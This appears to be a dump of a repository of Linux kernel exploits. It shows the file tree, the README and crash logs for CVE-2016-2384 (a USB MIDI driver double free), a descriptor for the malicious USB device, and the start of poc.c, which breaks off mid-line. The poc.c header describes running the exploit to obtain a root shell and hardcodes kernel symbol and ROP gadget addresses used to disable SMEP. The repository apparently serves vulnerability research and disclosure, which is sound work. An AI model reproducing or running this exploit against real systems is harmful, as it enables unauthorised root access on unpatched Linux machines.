├── .gitignore ├── CVE-2016-2384 ├── README.md ├── device.txt ├── kasan-raw.txt ├── kasan.txt ├── poc.c └── poc.py ├── CVE-2016-9793 ├── README.md ├── poc.c └── trigger.c ├── CVE-2017-1000112 ├── README.md └── poc.c ├── CVE-2017-18344 ├── README.md └── poc.c ├── CVE-2017-6074 ├── README.md ├── poc.c └── trigger.c ├── CVE-2017-7308 ├── README.md └── poc.c ├── README.md └── prefetch-side-channel ├── README.md ├── poc.c └── poc.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | -------------------------------------------------------------------------------- /CVE-2016-2384/README.md: -------------------------------------------------------------------------------- 1 | CVE-2016-2384 2 | ============= 3 | 4 | This is a proof-of-concept Local Privilege Escalation exploit for [CVE-2016-2384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) — a double-free vulnerability I found in the Linux kernel USB MIDI driver. 5 | Requires physical access to the machine. 6 | See the details in [CVE-2016-2384: Exploiting a double-free in the Linux kernel USB MIDI driver](https://xairy.io/articles/2016/cve-2016-2384). 7 | -------------------------------------------------------------------------------- /CVE-2016-2384/device.txt: -------------------------------------------------------------------------------- 1 | Speed Full 2 | Bus 001 Device 003: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader 3 | Device Descriptor: 4 | bLength 18 5 | bDescriptorType 1 6 | bcdUSB 2.00 7 | bDeviceClass 0 (Defined at Interface level) 8 | bDeviceSubClass 0 9 | bDeviceProtocol 0 10 | bMaxPacketSize0 64 11 | idVendor 0x0763 Midiman 12 | idProduct 0x1002 MidiSport 2x2 13 | bcdDevice 1.00 14 | iManufacturer 1 Generic 15 | iProduct 2 Mass Storage Device 16 | iSerial 3 058F63666471 17 | bNumConfigurations 1 18 | Configuration Descriptor: 19 | bLength 9 20 | bDescriptorType 2 21 | wTotalLength 32 22 | bNumInterfaces 1 23 | bConfigurationValue 1 24 | iConfiguration 0 25 | bmAttributes 0x80 26 | (Bus Powered) 27 | MaxPower 100mA 28 | Interface Descriptor: 29 | bLength 9 30 | bDescriptorType 4 31 | bInterfaceNumber 0 32 | bAlternateSetting 0 33 | bNumEndpoints 0 34 | bInterfaceClass 255 Vendor Specific Class 35 | bInterfaceSubClass 0 36 | bInterfaceProtocol 0 37 | iInterface 0 38 | 39 | -------------------------------------------------------------------------------- /CVE-2016-2384/kasan-raw.txt: -------------------------------------------------------------------------------- 1 | [ 25.262415] ================================================================== 2 | [ 25.263553] BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0 3 | [ 25.264851] Read of size 8 by task kworker/0:2/928 4 | [ 25.265589] ============================================================================= 5 | [ 25.266802] BUG kmalloc-512 (Not tainted): kasan: bad access detected 6 | [ 25.267736] ----------------------------------------------------------------------------- 7 | [ 25.267736] 8 | [ 25.269137] Disabling lock debugging due to kernel taint 9 | [ 25.269926] INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928 10 | [ 25.271023] ___slab_alloc+0x44f/0x470 11 | [ 25.271583] __slab_alloc+0x1b/0x30 12 | [ 25.272103] kmem_cache_alloc_trace+0x126/0x160 13 | [ 25.272774] snd_usbmidi_create+0xb4/0x1dc0 14 | [ 25.273399] create_any_midi_quirk+0x38/0x60 15 | [ 25.274033] snd_usb_create_quirk+0x74/0x110 16 | [ 25.274670] usb_audio_probe+0x43b/0x1d40 17 | [ 25.275262] usb_probe_interface+0x42c/0x8c0 18 | [ 25.275894] driver_probe_device+0x4be/0x800 19 | [ 25.276528] __device_attach_driver+0x176/0x220 20 | [ 25.277199] bus_for_each_drv+0x112/0x1b0 21 | [ 25.277804] __device_attach+0x1c6/0x2a0 22 | [ 25.278362] device_initial_probe+0xe/0x10 23 | [ 25.278941] bus_probe_device+0x199/0x240 24 | [ 25.279509] device_add+0x94c/0x1340 25 | [ 25.280020] usb_set_configuration+0xaec/0x1540 26 | [ 25.280663] INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928 27 | [ 25.281608] __slab_free+0x170/0x290 28 | [ 25.282123] kfree+0x13b/0x150 29 | [ 25.282562] snd_usbmidi_free+0x7f/0xa0 30 | [ 25.283104] snd_usbmidi_create+0x11bc/0x1dc0 31 | [ 25.283702] create_any_midi_quirk+0x38/0x60 32 | [ 25.284323] snd_usb_create_quirk+0x74/0x110 33 | [ 25.284932] usb_audio_probe+0x43b/0x1d40 34 | [ 25.285505] usb_probe_interface+0x42c/0x8c0 35 | [ 25.286121] driver_probe_device+0x4be/0x800 36 | [ 25.286665] __device_attach_driver+0x176/0x220 37 | [ 25.287227] bus_for_each_drv+0x112/0x1b0 38 | [ 25.287725] __device_attach+0x1c6/0x2a0 39 | [ 25.288213] device_initial_probe+0xe/0x10 40 | [ 25.288721] bus_probe_device+0x199/0x240 41 | [ 25.289219] device_add+0x94c/0x1340 42 | [ 25.289677] usb_set_configuration+0xaec/0x1540 43 | [ 25.290319] INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080 44 | [ 25.291648] INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330 45 | [ 25.291648] 46 | [ 25.292848] Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3....... 47 | [ 25.294156] Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl.... 48 | [ 25.295231] Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0..... 49 | [ 25.296304] Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............ 50 | [ 25.297531] Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 51 | [ 25.298791] Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 52 | [ 25.300014] Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k..... 53 | [ 25.301237] Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............ 54 | [ 25.302469] Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................ 55 | [ 25.303695] Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 56 | [ 25.304916] Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 57 | [ 25.306135] Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j.... 58 | [ 25.307303] Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 59 | [ 25.308478] Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j.... 60 | [ 25.309649] Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............ 61 | [ 25.310830] Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c..... 62 | [ 25.312007] Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 63 | [ 25.313176] Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 64 | [ 25.314342] Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 65 | [ 25.315511] Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 66 | [ 25.316682] Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 67 | [ 25.317861] Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 68 | [ 25.318986] Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 69 | [ 25.320100] Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 70 | [ 25.321225] Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 71 | [ 25.322355] Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 72 | [ 25.323475] Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 73 | [ 25.324586] Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 74 | [ 25.325706] Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 75 | [ 25.326826] Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 76 | [ 25.327937] Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 77 | [ 25.329049] Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 78 | [ 25.330133] Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 79 | [ 25.331131] CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7 80 | [ 25.331922] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014 81 | [ 25.333297] Workqueue: usb_hub_wq hub_event 82 | [ 25.333766] ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200 83 | [ 25.334622] ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100 84 | [ 25.335476] ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f 85 | [ 25.336326] Call Trace: 86 | [ 25.336602] [] dump_stack+0x44/0x5f 87 | [ 25.337162] [] print_trailer+0xf4/0x150 88 | [ 25.337764] [] object_err+0x2f/0x40 89 | [ 25.338323] [] kasan_report_error+0x20d/0x520 90 | [ 25.338973] [] ? __slab_free+0x1a2/0x290 91 | [ 25.339604] [] ? kasan_unpoison_shadow+0x36/0x50 92 | [ 25.340283] [] ? proc_entry_rundown+0xb7/0x190 93 | [ 25.340949] [] __asan_report_load8_noabort+0x3e/0x40 94 | [ 25.341681] [] ? snd_usbmidi_free+0x92/0xa0 95 | [ 25.342303] [] snd_usbmidi_free+0x92/0xa0 96 | [ 25.342899] [] snd_usbmidi_rawmidi_free+0x32/0x40 97 | [ 25.343525] [] snd_rawmidi_free+0x11f/0x170 98 | [ 25.344065] [] snd_rawmidi_dev_free+0x2c/0x40 99 | [ 25.344617] [] __snd_device_free+0x125/0x210 100 | [ 25.345158] [] snd_device_free_all+0x80/0xc0 101 | [ 25.345745] [] release_card_device+0x2f/0x130 102 | [ 25.346366] [] device_release+0x71/0x1e0 103 | [ 25.347086] [] kobject_release+0xc1/0x160 104 | [ 25.348214] [] kobject_put+0x4e/0xa0 105 | [ 25.349420] [] put_device+0x12/0x20 106 | [ 25.350574] [] snd_card_free+0xac/0xf0 107 | [ 25.351768] [] ? snd_card_free_when_closed+0x30/0x30 108 | [ 25.353218] [] ? snd_usb_create_quirk+0x74/0x110 109 | [ 25.354572] [] ? snd_usb_audio_create_proc+0x115/0x1e0 110 | [ 25.355887] [] usb_audio_probe+0x77a/0x1d40 111 | [ 25.357040] [] ? snd_usb_create_stream+0x480/0x480 112 | [ 25.357858] [] ? __pm_runtime_set_status+0x496/0x960 113 | [ 25.358472] [] usb_probe_interface+0x42c/0x8c0 114 | [ 25.359039] [] driver_probe_device+0x4be/0x800 115 | [ 25.359602] [] __device_attach_driver+0x176/0x220 116 | [ 25.360186] [] ? __driver_attach+0x150/0x150 117 | [ 25.360731] [] bus_for_each_drv+0x112/0x1b0 118 | [ 25.361271] [] ? bus_rescan_devices+0x20/0x20 119 | [ 25.361830] [] ? _raw_spin_unlock_irqrestore+0x9/0x10 120 | [ 25.362445] [] __device_attach+0x1c6/0x2a0 121 | [ 25.362971] [] ? device_bind_driver+0x30/0x30 122 | [ 25.363524] [] ? kobject_uevent_env+0x202/0xa50 123 | [ 25.364090] [] device_initial_probe+0xe/0x10 124 | [ 25.364632] [] bus_probe_device+0x199/0x240 125 | [ 25.365166] [] device_add+0x94c/0x1340 126 | [ 25.365670] [] ? device_private_init+0x180/0x180 127 | [ 25.366237] [] ? wakeup_sysfs_add+0x14/0x20 128 | [ 25.366757] [] ? device_set_wakeup_capable+0xc0/0x160 129 | [ 25.367354] [] usb_set_configuration+0xaec/0x1540 130 | [ 25.367919] [] generic_probe+0x56/0xb0 131 | [ 25.368402] [] usb_probe_device+0x8a/0xc0 132 | [ 25.368908] [] driver_probe_device+0x4be/0x800 133 | [ 25.369451] [] __device_attach_driver+0x176/0x220 134 | [ 25.370019] [] ? __driver_attach+0x150/0x150 135 | [ 25.370548] [] bus_for_each_drv+0x112/0x1b0 136 | [ 25.371068] [] ? bus_rescan_devices+0x20/0x20 137 | [ 25.371604] [] ? _raw_spin_unlock_irqrestore+0x9/0x10 138 | [ 25.372199] [] __device_attach+0x1c6/0x2a0 139 | [ 25.372708] [] ? device_bind_driver+0x30/0x30 140 | [ 25.373248] [] ? kobject_uevent_env+0x202/0xa50 141 | [ 25.373804] [] device_initial_probe+0xe/0x10 142 | [ 25.374320] [] bus_probe_device+0x199/0x240 143 | [ 25.374839] [] device_add+0x94c/0x1340 144 | [ 25.375323] [] ? device_private_init+0x180/0x180 145 | [ 25.375883] [] usb_new_device+0x701/0xfa0 146 | [ 25.376386] [] hub_event+0x1b70/0x2d00 147 | [ 25.376870] [] ? hub_port_debounce+0x1b0/0x1b0 148 | [ 25.377413] [] ? dev_pm_get_subsys_data+0x71/0x1c0 149 | [ 25.377994] [] ? __switch_to+0x7ac/0xe40 150 | [ 25.378492] [] ? _raw_spin_unlock_irqrestore+0x9/0x10 151 | [ 25.379068] [] ? __pm_runtime_suspend+0x8d/0xb0 152 | [ 25.379620] [] ? pwq_dec_nr_in_flight+0x11f/0x270 153 | [ 25.380187] [] ? usb_remote_wakeup+0x4d/0x80 154 | [ 25.380720] [] process_one_work+0x585/0x1200 155 | [ 25.381249] [] worker_thread+0xd7/0x1200 156 | [ 25.381742] [] ? __schedule+0x935/0x1d60 157 | [ 25.382242] [] ? process_one_work+0x1200/0x1200 158 | [ 25.382791] [] kthread+0x1c0/0x260 159 | [ 25.383242] [] ? kthread_worker_fn+0x580/0x580 160 | [ 25.383784] [] ? __switch_to+0x7ac/0xe40 161 | [ 25.384280] [] ? kthread_worker_fn+0x580/0x580 162 | [ 25.384824] [] ret_from_fork+0x3f/0x70 163 | [ 25.385304] [] ? kthread_worker_fn+0x580/0x580 164 | [ 25.385846] Memory state around the buggy address: 165 | [ 25.386271] ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb 166 | [ 25.386906] ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 167 | [ 25.387548] >ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 168 | [ 25.388184] ^ 169 | [ 25.388565] ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 170 | [ 25.389202] ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc 171 | [ 25.389844] ================================================================== 172 | -------------------------------------------------------------------------------- /CVE-2016-2384/kasan.txt: -------------------------------------------------------------------------------- 1 | ================================================================== 2 | BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0 3 | Read of size 8 by task kworker/0:2/928 4 | ============================================================================= 5 | BUG kmalloc-512 (Not tainted): kasan: bad access detected 6 | ----------------------------------------------------------------------------- 7 | 8 | Disabling lock debugging due to kernel taint 9 | INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928 10 | [< none >] ___slab_alloc+0x44f/0x470 mm/slub.c:2438 11 | [< none >] __slab_alloc+0x1b/0x30 mm/slub.c:2467 12 | [< inline >] slab_alloc_node mm/slub.c:2530 13 | [< inline >] slab_alloc mm/slub.c:2572 14 | [< none >] kmem_cache_alloc_trace+0x126/0x160 mm/slub.c:2589 15 | [< inline >] kmalloc include/linux/slab.h:458 16 | [< inline >] kzalloc include/linux/slab.h:602 17 | [< none >] snd_usbmidi_create+0xb4/0x1dc0 sound/usb/midi.c:2332 18 | [< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103 19 | [< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550 20 | [< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544 21 | [< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356 22 | [< inline >] really_probe drivers/base/dd.c:316 23 | [< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429 24 | [< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514 25 | [< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464 26 | [< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571 27 | [< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618 28 | [< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558 29 | [< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120 30 | [< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932 31 | INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928 32 | [< none >] __slab_free+0x170/0x290 mm/slub.c:2648 33 | [< inline >] slab_free mm/slub.c:2803 34 | [< none >] kfree+0x13b/0x150 mm/slub.c:3632 35 | [< none >] snd_usbmidi_free+0x7f/0xa0 sound/usb/midi.c:1455 36 | [< none >] snd_usbmidi_create+0x11bc/0x1dc0 sound/usb/midi.c:2457 37 | [< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103 38 | [< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550 39 | [< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544 40 | [< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356 41 | [< inline >] really_probe drivers/base/dd.c:316 42 | [< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429 43 | [< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514 44 | [< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464 45 | [< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571 46 | [< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618 47 | [< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558 48 | [< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120 49 | [< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932 50 | INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080 51 | INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330 52 | 53 | Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3....... 54 | Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl.... 55 | Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0..... 56 | Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............ 57 | Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 58 | Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 59 | Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k..... 60 | Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............ 61 | Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................ 62 | Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 63 | Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 64 | Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j.... 65 | Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 66 | Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j.... 67 | Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............ 68 | Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c..... 69 | Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 70 | Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 71 | Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 72 | Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 73 | Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 74 | Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 75 | Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 76 | Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 77 | Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 78 | Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 79 | Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 80 | Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81 | Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 82 | Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83 | Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 84 | Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 85 | Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 86 | CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7 87 | Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014 88 | Workqueue: usb_hub_wq hub_event 89 | ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200 90 | ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100 91 | ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f 92 | Call Trace: 93 | [< inline >] __dump_stack lib/dump_stack.c:15 94 | [] dump_stack+0x44/0x5f lib/dump_stack.c:50 95 | [] print_trailer+0xf4/0x150 mm/slub.c:652 96 | [] object_err+0x2f/0x40 mm/slub.c:659 97 | [< inline >] print_address_description mm/kasan/report.c:138 98 | [] kasan_report_error+0x20d/0x520 mm/kasan/report.c:236 99 | [< inline >] kasan_report mm/kasan/report.c:259 100 | [] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:280 101 | [] snd_usbmidi_free+0x92/0xa0 sound/usb/midi.c:1449 102 | [] snd_usbmidi_rawmidi_free+0x32/0x40 sound/usb/midi.c:1511 103 | [] snd_rawmidi_free+0x11f/0x170 sound/core/rawmidi.c:1546 104 | [] snd_rawmidi_dev_free+0x2c/0x40 sound/core/rawmidi.c:1554 105 | [] __snd_device_free+0x125/0x210 sound/core/device.c:91 106 | [] snd_device_free_all+0x80/0xc0 sound/core/device.c:244 107 | [< inline >] snd_card_do_free sound/core/init.c:461 108 | [] release_card_device+0x2f/0x130 sound/core/init.c:181 109 | [] device_release+0x71/0x1e0 drivers/base/core.c:247 110 | [< inline >] kobject_cleanup lib/kobject.c:645 111 | [] kobject_release+0xc1/0x160 lib/kobject.c:674 112 | [< inline >] kref_put include/linux/kref.h:73 113 | [] kobject_put+0x4e/0xa0 lib/kobject.c:691 114 | [] put_device+0x12/0x20 drivers/base/core.c:1215 115 | [< inline >] snd_card_free_when_closed sound/core/init.c:489 116 | [] snd_card_free+0xac/0xf0 sound/core/init.c:514 117 | [] usb_audio_probe+0x77a/0x1d40 sound/usb/card.c:574 118 | [] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356 119 | [< inline >] really_probe drivers/base/dd.c:316 120 | [] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429 121 | [] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514 122 | [] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464 123 | [] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571 124 | [] device_initial_probe+0xe/0x10 drivers/base/dd.c:618 125 | [] bus_probe_device+0x199/0x240 drivers/base/bus.c:558 126 | [] device_add+0x94c/0x1340 drivers/base/core.c:1120 127 | [] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932 128 | [] generic_probe+0x56/0xb0 drivers/usb/core/generic.c:172 129 | [] usb_probe_device+0x8a/0xc0 drivers/usb/core/driver.c:263 130 | [< inline >] really_probe drivers/base/dd.c:316 131 | [] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429 132 | [] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514 133 | [] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464 134 | [] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571 135 | [] device_initial_probe+0xe/0x10 drivers/base/dd.c:618 136 | [] bus_probe_device+0x199/0x240 drivers/base/bus.c:558 137 | [] device_add+0x94c/0x1340 drivers/base/core.c:1120 138 | [] usb_new_device+0x701/0xfa0 drivers/usb/core/hub.c:2499 139 | [< inline >] port_event drivers/usb/core/hub.c:4798 140 | [] hub_event+0x1b70/0x2d00 drivers/usb/core/hub.c:5089 141 | [] process_one_work+0x585/0x1200 kernel/workqueue.c:2030 142 | [] worker_thread+0xd7/0x1200 kernel/workqueue.c:2162 143 | [] kthread+0x1c0/0x260 kernel/kthread.c:209 144 | [] ret_from_fork+0x3f/0x70 arch/x86/entry/entry_64.S:468 145 | Memory state around the buggy address: 146 | ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb 147 | ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 148 | >ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 149 | ^ 150 | ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 151 | ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc 152 | ================================================================== 153 | -------------------------------------------------------------------------------- /CVE-2016-2384/poc.c: -------------------------------------------------------------------------------- 1 | // A part of the proof-of-concept exploit for the vulnerability in the usb-midi 2 | // driver. Meant to be used in conjuction with a hardware usb emulator, which 3 | // emulates a particular malicious usb device (a Facedancer21 for example). 4 | // 5 | // Andrey Konovalov 6 | // 7 | // Usage: 8 | // // Edit source to set addresses of the kernel symbols and the ROP gadgets. 9 | // $ gcc poc.c -masm=intel 10 | // // Run N instances of the binary with the argument increasing from 0 to N, 11 | // // where N is the number of cpus on your machine. 12 | // $ ./a.out 0 & ./a.out 1 & ... 13 | // [+] starting as: uid=1000, euid=1000 14 | // [+] payload addr: 0x400b60 15 | // [+] fake stack mmaped 16 | // [+] plug in the usb device... 17 | // // Now plug in the device a few times. 18 | // // In one of the instances you will get (if the kernel doesn't crash): 19 | // [+] got r00t: uid=0, euid=0 20 | // # id 21 | // uid=0(root) gid=0(root) groups=0(root) 22 | 23 | #define _GNU_SOURCE 24 | 25 | #include 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include 40 | 41 | // You need to set these based on your kernel. 42 | // To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred 43 | // is to boot your kernel and grep /proc/kallsyms for them. 44 | // The easiest way to obtain the gadgets addresses is to use the ROPgadget util. 45 | // Note that all of the used gadgets must preserve the initial value of the rbp 46 | // register, since this value is used later on to restore rsp. 47 | // The value of CR4_DESIRED_VALUE must have the SMEP bit disabled. 48 | 49 | #define COMMIT_CREDS 0xffffffff810957e0L 50 | #define PREPARE_KERNEL_CRED 0xffffffff81095ae0L 51 | 52 | #define XCHG_EAX_ESP_RET 0xffffffff8100008aL 53 | 54 | #define POP_RDI_RET 0xffffffff8118991dL 55 | #define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L 56 | #define 